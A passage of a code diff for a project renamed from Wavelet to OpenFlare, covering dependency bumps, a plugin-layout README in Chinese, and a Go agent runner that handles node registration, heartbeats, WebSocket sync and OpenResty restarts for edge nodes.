golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA=
|
||||
golang.org/x/tools v0.48.0 h1:3+hClM1aLL5mjMKm5ovokw9epgRXPuu2tILgismM6RE=
|
||||
golang.org/x/tools v0.48.0/go.mod h1:08xX0orndb/F7jJxGDicx061tyd5pcMto75YMAXr6lk=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -1293,8 +1328,8 @@ gorm.io/gorm v1.31.2 h1:3o8FXNo9v9S858gil+3LlZA1LkCOzgb4g5BL64FgaCo=
|
||||
gorm.io/gorm v1.31.2/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs=
|
||||
gorm.io/plugin/dbresolver v1.6.2 h1:F4b85TenghUeITqe3+epPSUtHH7RIk3fXr5l83DF8Pc=
|
||||
gorm.io/plugin/dbresolver v1.6.2/go.mod h1:tctw63jdrOezFR9HmrKnPkmig3m5Edem9fdxk9bQSzM=
|
||||
gorm.io/plugin/opentelemetry v0.1.14 h1:xivP39t/0JgcceDl+BLwVAJHihjFEUj0ZocMSBwZ7ZY=
|
||||
gorm.io/plugin/opentelemetry v0.1.14/go.mod h1:ZAp4v5vU1CCcK9Oo8/va5rl6NStrzpSU+a70evd+W/g=
|
||||
gorm.io/plugin/opentelemetry v0.1.16 h1:Kypj2YYAliJqkIczDZDde6P6sFMhKSlG5IpngMFQGpc=
|
||||
gorm.io/plugin/opentelemetry v0.1.16/go.mod h1:P3RmTeZXT+9n0F1ccUqR5uuTvEXDxF8k2UpO7mTIB2Y=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
@@ -1314,8 +1349,8 @@ modernc.org/gc/v3 v3.1.4 h1:2g65LGVSmFQrXeITAw97x7hCRvZFcyE1uDP+7Vng7JI=
|
||||
modernc.org/gc/v3 v3.1.4/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
|
||||
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
|
||||
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
|
||||
modernc.org/libc v1.74.3 h1:a4J+Z8aVaxPyjyxRAdJzw246PqpcFGvVPnfT/AuM5Ws=
|
||||
modernc.org/libc v1.74.3/go.mod h1:4H7h/MJ8wnjL8RAbp9v3OXgnk22X7MouHIhDbvP3gj4=
|
||||
modernc.org/libc v1.74.4 h1:fX1Omw4o2/1C2iRkkIsrQTasJQldLhRmuPreXLoWs9k=
|
||||
modernc.org/libc v1.74.4/go.mod h1:eeQAS9W3sZeKYMFubydxJpII9ybHWshk+7or7bLG9co=
|
||||
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
|
||||
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
|
||||
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
|
||||
@@ -1324,8 +1359,8 @@ modernc.org/opt v0.2.0 h1:tGyef5ApycA7FSEOMraay9SaTk5zmbx7Tu+cJs4QKZg=
|
||||
modernc.org/opt v0.2.0/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
|
||||
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
|
||||
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
|
||||
modernc.org/sqlite v1.54.0 h1:JCxR4qwkJvOaqAoYcgDoO25Nc+ROg6EJ2LfBVzdrgog=
|
||||
modernc.org/sqlite v1.54.0/go.mod h1:4ntCLuNmnH8+GNqjka1wNg7KJd5/Hi5FYp8K+XQ7GZw=
|
||||
modernc.org/sqlite v1.56.0 h1:/D8e2RfFqoy/Zc6PuC76U28zFwmI/sYx1Kjm4yEn9e0=
|
||||
modernc.org/sqlite v1.56.0/go.mod h1:yCJ2cmAaIkHQ25oXWrF8H4O1lIfPYPR26yCEDj2P3pQ=
|
||||
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
|
||||
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
|
||||
+5
-5
@@ -1,16 +1,16 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package main 是 Wavelet 平台的程序入口
|
||||
// Package main 是 OpenFlare 平台的程序入口
|
||||
package main
|
||||
|
||||
import "Wavelet/cmd"
|
||||
|
||||
// @title Wavelet API
|
||||
// @title OpenFlare API
|
||||
// @version 1.0.0
|
||||
// @description Wavelet 平台后端 API，提供用户认证、系统配置、任务调度等通用功能。
|
||||
// @contact.name Wavelet
|
||||
// @contact.url https://github.com/Rain-kl/Wavelet
|
||||
// @description OpenFlare 平台后端 API，提供用户认证、系统配置、任务调度与边缘节点管理能力。
|
||||
// @contact.name OpenFlare
|
||||
// @contact.url https://github.com/Rain-kl/OpenFlare
|
||||
// @license.name Apache 2.0
|
||||
// @license.url http://www.apache.org/licenses/LICENSE-2.0.html
|
||||
// @BasePath /
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# OpenFlare 下游树
|
||||
|
||||
本目录占据上游 `backend/downstream/` 的位置，存放 OpenFlare 的全部业务，
|
||||
按功能职责拆为 **4 个插件 + 1 个共享层**。上游目录
|
||||
（`backend/{core,pkg,plugins}`）通过 `git fetch wavelet && git merge wavelet/main`
|
||||
吸收（第一次接线已 merge `wavelet/feat/cordis-alignment`，待该分支合入上游 main
|
||||
后改走 `wavelet/main`）。本目录、`frontend/` 与 `backend/cmd` 由本仓库持有。
|
||||
合并前请 `git config include.path ../.gitconfig`（或 worktree 安全写法
|
||||
`git config include.path "$(git rev-parse --show-toplevel)/.gitconfig"`），
|
||||
以启用 `.gitattributes` 的 `merge=ours`。
|
||||
|
||||
```
|
||||
backend/openflare/
|
||||
├── plugins/
|
||||
│ ├── server/ # 控制面插件：站点/区域/Cloudflare/Pages/WAF/节点/回源/健康/配置版本
|
||||
│ │ ├── openflare/ admin/ oauth/ user/ upload/ cap/ config/ health/ # 业务域
|
||||
│ │ ├── repository/ model/ infra/ shared/ pkg/ # 支撑层
|
||||
│ │ └── router/ platform/ listener/ integration/ testhelper/ # 装配与接线
|
||||
│ ├── agent/ # 边缘 nginx/WAF 代理守护进程插件
|
||||
│ ├── relay/ # frps 中继守护进程插件
|
||||
│ └── flared/ # frpc 隧道客户端守护进程插件
|
||||
└── share/ # 插件间共享资源（见 share/README.md）
|
||||
```
|
||||
|
||||
装配根在 `backend/cmd`（与上游同构）：`main.go` + `cmd/*.go` 为 server 的
|
||||
api/worker/schedule/all profile 入口，`cmd/{agent,relay,flared}/main.go` 为三个
|
||||
守护进程入口。
|
||||
|
||||
## 依赖规则
|
||||
|
||||
1. `plugins/<A>` 与 `plugins/<B>` 之间禁止互相 import；需要协作时走 `core/contracts`
|
||||
或 `ctx.Events()`。
|
||||
2. 插件只允许 import 本插件内部包、`Wavelet/core`、`Wavelet/core/contracts`、
|
||||
`Wavelet/pkg` 与 `Wavelet/openflare/share`。
|
||||
3. `share/` 禁止 import 任何插件实现与下游业务包。
|
||||
4. 表单一所有者：`of_*` 全部由 `server` 插件建表与读写；`w_*` 由上游平台插件拥有，
|
||||
下游只能经契约或事件访问。
|
||||
|
||||
## 收敛路线
|
||||
|
||||
- 已完成：`agent`/`relay`/`flared` 各有 `plugin.go` 实现 `core.Plugin` + `core.Driver`
|
||||
（`DriverTypeAgent`/`DriverTypeRelay`/`DriverTypeFlared`），入口 `backend/cmd/{agent,relay,flared}/main.go`
|
||||
已改为 `core.NewApp(core.WithProfile(...))` + `app.Run()` 装配，`-config` 旗标、
|
||||
默认路径、退出码与启动日志保持原样；JSON 配置由各插件 `Apply` 自行加载。
|
||||
- 已完成：`server/plugin.go` 实现 `core.Plugin`，`Apply` 以 `ctx.Router().Group(api_prefix)`
|
||||
声明根级与 `/v1` 全部路由；`router.Serve` 已删除，装配根改为
|
||||
`core.App` + `driver_http.New(WithEngine(router.BuildEngine()))`，监听与优雅退出归内核。
|
||||
路由保真由 `plugin_parity_test.go` 对拍 `baseline/routes-engine.txt`（256 条方法+路径）保证。
|
||||
- 待办：`platform/bootstrap` 的任务、设置与迁移注册迁入 `Apply`；各业务域按插件标准
|
||||
分层规范收敛到 `handler/ service/ repository/ model/ errs/ migrations/`（模式 2）；
|
||||
引擎级中间件、NoRoute 前端兜底与白名单生效三项能力回流上游后，去掉
|
||||
`BuildEngine` 交给 `WithEngine` 这一例外。
|
||||
@@ -0,0 +1,535 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package agent implements the local OpenFlare agent runtime loop.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"log/slog"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
agentheartbeat "Wavelet/openflare/plugins/agent/heartbeat"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
"Wavelet/openflare/plugins/agent/wsclient"
|
||||
edgeheartbeat "Wavelet/openflare/share/edge/heartbeat"
|
||||
"Wavelet/pkg/util"
|
||||
)
|
||||
|
||||
// HeartbeatService handles node registration and periodic heartbeat reporting.
|
||||
type HeartbeatService interface {
|
||||
Register(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error)
|
||||
Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error)
|
||||
SetToken(token string)
|
||||
}
|
||||
|
||||
// SyncService handles configuration synchronisation between the agent and the server.
|
||||
type SyncService interface {
|
||||
SyncOnStartup(ctx context.Context, target *protocol.ActiveConfigMeta) error
|
||||
SyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error
|
||||
ForceSyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error
|
||||
WAFIPGroupChecksums() (map[string]string, error)
|
||||
ApplyWAFIPGroups(ctx context.Context, groups []protocol.WAFIPGroup) error
|
||||
}
|
||||
|
||||
// RuntimeManager manages the lifecycle and health checks of the OpenResty runtime.
|
||||
type RuntimeManager interface {
|
||||
CheckHealth(ctx context.Context) error
|
||||
Restart(ctx context.Context) error
|
||||
}
|
||||
|
||||
// WebSocketService manages the persistent WebSocket connection to the server.
|
||||
type WebSocketService interface {
|
||||
Connect(ctx context.Context) (protocol.WebSocketConnection, error)
|
||||
SetToken(token string)
|
||||
URL() string
|
||||
}
|
||||
|
||||
const websocketBackoffDefaultDelay = 30 * time.Second
|
||||
|
||||
// Runner coordinates the agent's heartbeat, configuration sync, and WebSocket upgrade lifecycle.
|
||||
type Runner struct {
|
||||
Config *config.Config
|
||||
StateStore *state.Store
|
||||
HeartbeatCycle *agentheartbeat.Cycle
|
||||
HeartbeatService HeartbeatService
|
||||
SyncService SyncService
|
||||
RuntimeManager RuntimeManager
|
||||
WebSocketService WebSocketService
|
||||
|
||||
restartOpenrestyNow bool
|
||||
websocketUpgradeEnabled bool
|
||||
}
|
||||
|
||||
// Run starts the agent's main loop, performing heartbeats and upgrading to WebSocket when available.
|
||||
func (r *Runner) Run(ctx context.Context) error {
|
||||
if r.HeartbeatCycle != nil {
|
||||
r.HeartbeatCycle.RecordSyncError = r.recordSyncError
|
||||
}
|
||||
nodeID, err := r.StateStore.EnsureNodeID()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Info("agent runner started", "node_id", nodeID, "node", r.Config.NodeName, "ip", r.Config.NodeIP)
|
||||
r.runStartupAuth(ctx, &nodeID)
|
||||
|
||||
heartbeatTicker := time.NewTicker(r.Config.HeartbeatInterval.Duration())
|
||||
defer heartbeatTicker.Stop()
|
||||
var wsDone <-chan error
|
||||
wsBackoff := newWebSocketBackoff()
|
||||
nextWSAttempt := time.Now()
|
||||
tryStartWebSocket := func() {
|
||||
if wsDone != nil || !r.shouldUseWebSocket() || time.Now().Before(nextWSAttempt) {
|
||||
return
|
||||
}
|
||||
done, startErr := r.startWebSocket(ctx, nodeID)
|
||||
if startErr != nil {
|
||||
delay := wsBackoff.Next()
|
||||
nextWSAttempt = time.Now().Add(delay)
|
||||
slog.Debug("agent ws upgrade failed; falling back to http heartbeat",
|
||||
"enabled", r.websocketUpgradeEnabled,
|
||||
"url", r.websocketURL(),
|
||||
"retry_after", delay,
|
||||
"error", startErr,
|
||||
)
|
||||
return
|
||||
}
|
||||
wsBackoff.Reset()
|
||||
wsDone = done
|
||||
slog.Debug("agent switched to websocket mode", "url", r.websocketURL())
|
||||
}
|
||||
tryStartWebSocket()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
slog.Info("agent runner shutting down", "error", ctx.Err())
|
||||
return ctx.Err()
|
||||
case wsErr := <-wsDone:
|
||||
wsDone = nil
|
||||
delay := wsBackoff.Next()
|
||||
nextWSAttempt = time.Now().Add(delay)
|
||||
slog.Debug("agent ws disconnected; resuming http heartbeat", "retry_after", delay, "error", wsErr)
|
||||
r.handleWSDisconnect(ctx, nodeID)
|
||||
case <-heartbeatTicker.C:
|
||||
if wsDone != nil {
|
||||
continue
|
||||
}
|
||||
r.handleHeartbeatTick(ctx, &nodeID, heartbeatTicker, tryStartWebSocket)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) runStartupAuth(ctx context.Context, nodeID *string) {
|
||||
if r.hasAccessToken() {
|
||||
if _, hbErr := r.performHeartbeatCycle(ctx, *nodeID, true); hbErr != nil {
|
||||
slog.Error("agent startup heartbeat failed", "error", hbErr)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err := r.tryRegister(ctx, nodeID); err != nil {
|
||||
slog.Error("agent initial discovery register failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) handleWSDisconnect(ctx context.Context, nodeID string) {
|
||||
if !r.hasAccessToken() {
|
||||
return
|
||||
}
|
||||
if _, hbErr := r.performHeartbeatCycle(ctx, nodeID, false); hbErr != nil {
|
||||
slog.Error("agent heartbeat after ws disconnect failed", "error", hbErr)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) handleHeartbeatTick(ctx context.Context, nodeID *string, heartbeatTicker *time.Ticker, tryStartWebSocket func()) {
|
||||
if !r.hasAccessToken() {
|
||||
if err := r.tryRegister(ctx, nodeID); err != nil {
|
||||
slog.Error("agent discovery register failed", "error", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
changed, hbErr := r.performHeartbeatCycle(ctx, *nodeID, false)
|
||||
if hbErr != nil {
|
||||
slog.Error("agent heartbeat failed", "error", hbErr)
|
||||
return
|
||||
}
|
||||
if changed {
|
||||
heartbeatTicker.Reset(r.Config.HeartbeatInterval.Duration())
|
||||
}
|
||||
tryStartWebSocket()
|
||||
}
|
||||
|
||||
func (r *Runner) performHeartbeatCycle(ctx context.Context, nodeID string, startup bool) (bool, error) {
|
||||
r.refreshOpenrestyHealth(ctx)
|
||||
return r.HeartbeatCycle.Perform(ctx, nodeID, startup, r)
|
||||
}
|
||||
|
||||
// Apply applies the provided agent settings and reports whether the heartbeat interval changed.
|
||||
func (r *Runner) Apply(settings *protocol.AgentSettings) bool {
|
||||
return r.applySettings(settings)
|
||||
}
|
||||
|
||||
// RestartOpenrestyIfNeeded restarts OpenResty when a server-requested restart is pending.
|
||||
func (r *Runner) RestartOpenrestyIfNeeded(ctx context.Context) {
|
||||
r.tryRestartOpenresty(ctx)
|
||||
}
|
||||
|
||||
func (r *Runner) shouldUseWebSocket() bool {
|
||||
enabled := r.WebSocketService != nil && r.websocketUpgradeEnabled && r.hasAccessToken()
|
||||
slog.Debug("agent ws upgrade eligibility checked", "enabled", enabled, "server_enabled", r.websocketUpgradeEnabled, "url", r.websocketURL())
|
||||
return enabled
|
||||
}
|
||||
|
||||
func (r *Runner) websocketURL() string {
|
||||
if r.WebSocketService == nil {
|
||||
return ""
|
||||
}
|
||||
return r.WebSocketService.URL()
|
||||
}
|
||||
|
||||
func (r *Runner) startWebSocket(ctx context.Context, nodeID string) (<-chan error, error) {
|
||||
if r.WebSocketService == nil {
|
||||
return nil, errors.New("websocket service is not configured")
|
||||
}
|
||||
conn, err := r.WebSocketService.Connect(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
done := make(chan error, 1)
|
||||
util.Go(func() {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
done <- r.runWebSocket(ctx, nodeID, conn)
|
||||
})
|
||||
return done, nil
|
||||
}
|
||||
|
||||
type agentWSHandler struct {
|
||||
runner *Runner
|
||||
conn protocol.WebSocketConnection
|
||||
nodeID string
|
||||
statusTicker *time.Ticker
|
||||
}
|
||||
|
||||
func (h *agentWSHandler) OnConnect(ctx context.Context) error {
|
||||
return h.runner.sendWebSocketStatus(ctx, h.nodeID, h.conn)
|
||||
}
|
||||
|
||||
func (h *agentWSHandler) HandleMessage(ctx context.Context, msg wsclient.WSMessage) error {
|
||||
var payloadBytes []byte
|
||||
if msg.Payload != nil {
|
||||
payloadBytes = []byte(msg.Payload)
|
||||
}
|
||||
protoMsg := protocol.WSMessage{
|
||||
Type: msg.Type,
|
||||
Payload: payloadBytes,
|
||||
}
|
||||
changed, err := h.runner.handleWebSocketMessage(ctx, protoMsg, h.conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if changed {
|
||||
h.statusTicker.Reset(h.runner.Config.HeartbeatInterval.Duration())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *agentWSHandler) OnClose(err error) {
|
||||
slog.Error("agent ws receive failed", "error", err)
|
||||
}
|
||||
|
||||
func (r *Runner) runWebSocket(ctx context.Context, nodeID string, conn protocol.WebSocketConnection) error {
|
||||
slog.Debug("agent ws connected", "url", conn.URL(), "node_id", nodeID)
|
||||
statusTicker := time.NewTicker(r.Config.HeartbeatInterval.Duration())
|
||||
defer statusTicker.Stop()
|
||||
|
||||
childCtx, cancel := context.WithCancel(ctx)
|
||||
defer cancel()
|
||||
|
||||
util.Go(func() {
|
||||
for {
|
||||
select {
|
||||
case <-childCtx.Done():
|
||||
return
|
||||
case <-statusTicker.C:
|
||||
if err := r.sendWebSocketStatus(childCtx, nodeID, conn); err != nil {
|
||||
slog.Error("agent ws send status failed", "error", err)
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
wsConn, ok := conn.(*wsclient.Connection)
|
||||
if !ok {
|
||||
return errors.New("invalid websocket connection type")
|
||||
}
|
||||
|
||||
return wsConn.RunReceiveLoop(childCtx, &agentWSHandler{
|
||||
runner: r,
|
||||
conn: conn,
|
||||
nodeID: nodeID,
|
||||
statusTicker: statusTicker,
|
||||
})
|
||||
}
|
||||
|
||||
func (r *Runner) sendWebSocketStatus(ctx context.Context, nodeID string, conn protocol.WebSocketConnection) error {
|
||||
r.refreshOpenrestyHealth(ctx)
|
||||
payload, ackWindows := r.HeartbeatCycle.PrepareHeartbeatPayload(ctx, nodeID)
|
||||
if err := conn.SendStatus(payload); err != nil {
|
||||
return err
|
||||
}
|
||||
r.HeartbeatCycle.AckObservabilityWindows(ackWindows)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *Runner) handleWebSocketMessage(ctx context.Context, message protocol.WSMessage, conn protocol.WebSocketConnection) (bool, error) {
|
||||
switch message.Type {
|
||||
case protocol.WSMessageTypeSettings:
|
||||
var settings protocol.AgentSettings
|
||||
if err := json.Unmarshal(message.Payload, &settings); err != nil {
|
||||
slog.Debug("agent ws settings decode failed", "error", err)
|
||||
return false, nil
|
||||
}
|
||||
changed := r.applySettings(&settings)
|
||||
r.tryRestartOpenresty(ctx)
|
||||
edgeheartbeat.TryAutoUpdate(ctx, r.HeartbeatCycle.Updater, agentheartbeat.AgentSettingsToAutoUpdate(&settings), "agent")
|
||||
if !r.websocketUpgradeEnabled {
|
||||
slog.Debug("agent ws disabled by server settings; falling back to http heartbeat")
|
||||
return changed, errors.New("websocket upgrade disabled by server")
|
||||
}
|
||||
return changed, nil
|
||||
case protocol.WSMessageTypeActiveConfig:
|
||||
var target protocol.ActiveConfigMeta
|
||||
if err := json.Unmarshal(message.Payload, &target); err != nil {
|
||||
slog.Debug("agent ws active config decode failed", "error", err)
|
||||
return false, nil
|
||||
}
|
||||
slog.Debug("agent ws active config received", "version", target.Version, "checksum", target.Checksum, "trigger_sync", true)
|
||||
if err := r.SyncService.SyncOnce(ctx, &target); err != nil {
|
||||
r.recordSyncError(err)
|
||||
slog.Error("agent ws triggered sync failed", "version", target.Version, "error", err)
|
||||
}
|
||||
return false, nil
|
||||
case protocol.WSMessageTypeForceSyncConfig:
|
||||
var target protocol.ActiveConfigMeta
|
||||
if err := json.Unmarshal(message.Payload, &target); err != nil {
|
||||
slog.Debug("agent ws force sync config decode failed", "error", err)
|
||||
return false, nil
|
||||
}
|
||||
slog.Debug("agent ws force sync config received", "version", target.Version, "checksum", target.Checksum, "trigger_sync", true)
|
||||
if err := r.SyncService.ForceSyncOnce(ctx, &target); err != nil {
|
||||
r.recordSyncError(err)
|
||||
slog.Error("agent ws triggered force sync failed", "version", target.Version, "error", err)
|
||||
}
|
||||
return false, nil
|
||||
case protocol.WSMessageTypeWAFIPGroups:
|
||||
var groups []protocol.WAFIPGroup
|
||||
if err := json.Unmarshal(message.Payload, &groups); err != nil {
|
||||
slog.Debug("agent ws waf ip groups decode failed", "error", err)
|
||||
return false, nil
|
||||
}
|
||||
r.HeartbeatCycle.ApplyWAFIPGroups(ctx, groups)
|
||||
return false, nil
|
||||
case protocol.WSMessageTypePing:
|
||||
slog.Debug("agent ws ping received")
|
||||
return false, conn.SendPong()
|
||||
case protocol.WSMessageTypePong:
|
||||
slog.Debug("agent ws pong received")
|
||||
return false, nil
|
||||
default:
|
||||
slog.Debug("agent ws unsupported message type", "type", message.Type)
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
type webSocketBackoff struct {
|
||||
delays []time.Duration
|
||||
index int
|
||||
}
|
||||
|
||||
func newWebSocketBackoff() *webSocketBackoff {
|
||||
return &webSocketBackoff{
|
||||
delays: []time.Duration{
|
||||
time.Second,
|
||||
2 * time.Second,
|
||||
5 * time.Second,
|
||||
10 * time.Second,
|
||||
30 * time.Second,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (backoff *webSocketBackoff) Next() time.Duration {
|
||||
if backoff == nil || len(backoff.delays) == 0 {
|
||||
return websocketBackoffDefaultDelay
|
||||
}
|
||||
if backoff.index >= len(backoff.delays) {
|
||||
return backoff.delays[len(backoff.delays)-1]
|
||||
}
|
||||
delay := backoff.delays[backoff.index]
|
||||
backoff.index++
|
||||
return delay
|
||||
}
|
||||
|
||||
func (backoff *webSocketBackoff) Reset() {
|
||||
if backoff != nil {
|
||||
backoff.index = 0
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) hasAccessToken() bool {
|
||||
return strings.TrimSpace(r.Config.AccessToken) != ""
|
||||
}
|
||||
|
||||
func (r *Runner) applySettings(settings *protocol.AgentSettings) bool {
|
||||
if settings == nil {
|
||||
return false
|
||||
}
|
||||
changed := false
|
||||
if settings.HeartbeatInterval > 0 {
|
||||
newInterval := config.MillisecondDuration(time.Duration(settings.HeartbeatInterval) * time.Millisecond)
|
||||
if newInterval != r.Config.HeartbeatInterval {
|
||||
slog.Info("agent heartbeat interval updated", "from", r.Config.HeartbeatInterval, "to", newInterval)
|
||||
r.Config.HeartbeatInterval = newInterval
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
if settings.WebsocketUpgradeEnabled != r.websocketUpgradeEnabled {
|
||||
slog.Debug("agent websocket upgrade setting updated", "from", r.websocketUpgradeEnabled, "to", settings.WebsocketUpgradeEnabled)
|
||||
}
|
||||
r.websocketUpgradeEnabled = settings.WebsocketUpgradeEnabled
|
||||
r.restartOpenrestyNow = settings.RestartOpenrestyNow
|
||||
return changed
|
||||
}
|
||||
|
||||
func (r *Runner) tryRestartOpenresty(ctx context.Context) {
|
||||
if !r.restartOpenrestyNow {
|
||||
return
|
||||
}
|
||||
r.restartOpenrestyNow = false
|
||||
if r.RuntimeManager == nil {
|
||||
return
|
||||
}
|
||||
slog.Info("agent openresty restart requested by server")
|
||||
if err := r.RuntimeManager.Restart(ctx); err != nil {
|
||||
slog.Error("agent openresty restart failed", "error", err)
|
||||
r.recordOpenrestyUnhealthy(err, false)
|
||||
return
|
||||
}
|
||||
slog.Info("agent openresty restart succeeded")
|
||||
r.recordOpenrestyHealthy()
|
||||
}
|
||||
|
||||
func (r *Runner) tryRegister(ctx context.Context, nodeID *string) error {
|
||||
if strings.TrimSpace(r.Config.DiscoveryToken) == "" {
|
||||
return errors.New("agent_token 为空且未配置 discovery_token")
|
||||
}
|
||||
slog.Info("agent discovery registration started")
|
||||
response, err := r.HeartbeatService.Register(ctx, r.HeartbeatCycle.NodePayload(ctx, *nodeID))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if response == nil || strings.TrimSpace(response.AccessToken) == "" || strings.TrimSpace(response.NodeID) == "" {
|
||||
return errors.New("discovery register response 缺少 node_id 或 agent_token")
|
||||
}
|
||||
snapshot, err := r.StateStore.Load()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
snapshot.NodeID = response.NodeID
|
||||
if err = r.StateStore.Save(snapshot); err != nil {
|
||||
return err
|
||||
}
|
||||
r.Config.AccessToken = response.AccessToken
|
||||
r.Config.DiscoveryToken = ""
|
||||
if err = r.Config.Save(); err != nil {
|
||||
return err
|
||||
}
|
||||
r.HeartbeatService.SetToken(response.AccessToken)
|
||||
if r.WebSocketService != nil {
|
||||
r.WebSocketService.SetToken(response.AccessToken)
|
||||
}
|
||||
*nodeID = response.NodeID
|
||||
slog.Info("agent discovery registration succeeded", "node_id", response.NodeID)
|
||||
r.refreshOpenrestyHealth(ctx)
|
||||
if _, err = r.HeartbeatCycle.Perform(ctx, *nodeID, true, r); err != nil {
|
||||
slog.Error("agent post-register heartbeat failed", "error", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *Runner) recordSyncError(err error) {
|
||||
if err == nil || r.StateStore == nil {
|
||||
return
|
||||
}
|
||||
snapshot, loadErr := r.StateStore.Load()
|
||||
if loadErr != nil {
|
||||
slog.Error("load state before recording sync error failed", "error", loadErr)
|
||||
return
|
||||
}
|
||||
snapshot.LastError = err.Error()
|
||||
slog.Warn("recording sync error into state", "error", snapshot.LastError)
|
||||
if saveErr := r.StateStore.Save(snapshot); saveErr != nil {
|
||||
slog.Error("save state after sync error failed", "error", saveErr)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) refreshOpenrestyHealth(ctx context.Context) {
|
||||
if r.RuntimeManager == nil || r.StateStore == nil {
|
||||
return
|
||||
}
|
||||
if err := r.RuntimeManager.CheckHealth(ctx); err != nil {
|
||||
if strings.Contains(err.Error(), "openresty config not exists") {
|
||||
return
|
||||
}
|
||||
r.recordOpenrestyUnhealthy(err, true)
|
||||
return
|
||||
}
|
||||
r.recordOpenrestyHealthy()
|
||||
}
|
||||
|
||||
func (r *Runner) recordOpenrestyHealthy() {
|
||||
if r.StateStore == nil {
|
||||
return
|
||||
}
|
||||
snapshot, err := r.StateStore.Load()
|
||||
if err != nil {
|
||||
slog.Error("load state before recording openresty health failed", "error", err)
|
||||
return
|
||||
}
|
||||
if snapshot.OpenrestyStatus == protocol.OpenrestyStatusHealthy && strings.TrimSpace(snapshot.OpenrestyMessage) == "" {
|
||||
return
|
||||
}
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
snapshot.OpenrestyMessage = ""
|
||||
if err = r.StateStore.Save(snapshot); err != nil {
|
||||
slog.Error("save state after recording openresty health failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Runner) recordOpenrestyUnhealthy(err error, fallbackOnly bool) {
|
||||
if err == nil || r.StateStore == nil {
|
||||
return
|
||||
}
|
